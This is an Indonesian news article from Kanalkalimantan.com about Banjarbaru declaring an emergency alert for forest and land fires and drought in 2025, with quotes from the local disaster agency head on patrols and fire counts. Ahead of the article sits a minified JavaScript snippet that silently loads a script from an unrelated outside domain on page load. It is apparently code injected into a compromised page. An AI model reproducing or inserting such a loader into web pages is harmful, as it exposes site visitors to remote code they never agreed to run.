(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menetapkan status siaga kedaruratan bencana kebakaran hutan dan lahan (Karhutla) serta kekeringan.
Penetapan berdasarkan surat edaran Penjabat Wali Kota Banjarbaru, status siaga kedaruratan bencana di Kota Banjarbaru ditetapkan sejak tanggal 19 Mei hingga 30 September 2025.
Kepala Pelaksana (Kalak) Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru, Zaini Syahranie menjelaskan, keaadan kemarau saat ini berdasarkan keterangan BMKG adalah kemarau basah.
Baca juga: Makan Bergizi Gratis di SDN 4 Sungai Ulin, Fahmi Memilih Tak Menyentuh Sajian
Ketua Pelaksana (Kalak) BPBD Kota Banjarbaru. Foto : wanda
“Saat ini memang kemarau masih ada kemarau basah, berdasarkan keterangan dari BMKG bahwa ada sebagian wilayah Kota Banjarbaru yang mengalami panas, kemudian setiap pagi ada hujan disebabkan kemarau basah,” ujar Kalak BPBD Kota Banjarbaru, Senin (2/6/2025) pagi.
Meski kemarau basah, katanya, status siaga kedaruratan bencana di Kota Banjarbaru dikeluarkan agar para personel turun melakukan pemantauan di wilayah yang berpotensi rawan terjadi Karhutla. Pihaknya telah membangun posko 1×24 jam di induk kantor BPBD Kota Banjarbaru.
“Melalui relawan TRC patroli setiap hari memantau potensi-potensi yang rawat akan terjadi Karhutla,” katanya. “Termasuk masyarakat peduli bencana yang kita direkrut bersama-sama untuk mengamankan wilayah masing-masing,” tambah dia.
Baca juga: Visa Haji Furoda Tak Terbit, DPR Desak Revisi UU Penyelenggaraan Haji
Saat ini BPBD Banjarbaru mencatat ada 15 kejadian Karhutla di Kota Banjarbaru, dimana ada 7 hektare lebih lahan yang sudah terbakar.
“Untuk itu kesiapsiagaan tetap harus kita siapkan dan perlu kordinasi dengan baik, fokusnya dari awal daerah Bandara, juga di titik-titik lain yang rawan karhutla, seperti di Kecamatan Cempaka,” sebut Zaini.
Baca juga: Saidi Mansyur Pimpin Peringatan Hari Lahir Pancasila di Halaman Kantor Bupati
Dirinya menghimbau kepada masyarakat yang berada di wilayah rawan bencana memperhatikan larangan-larangan seperti membuang puntung rokok sembarangan atau membuka lahan dengan pembakaran.
“Masyarakat yang berada di wilayah rawan bencana, pertama jika membuka lahan jangan dengan pembakaran, kedua perhatikan pembuangan puntung rokok tidak sembarangan,” ingatnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.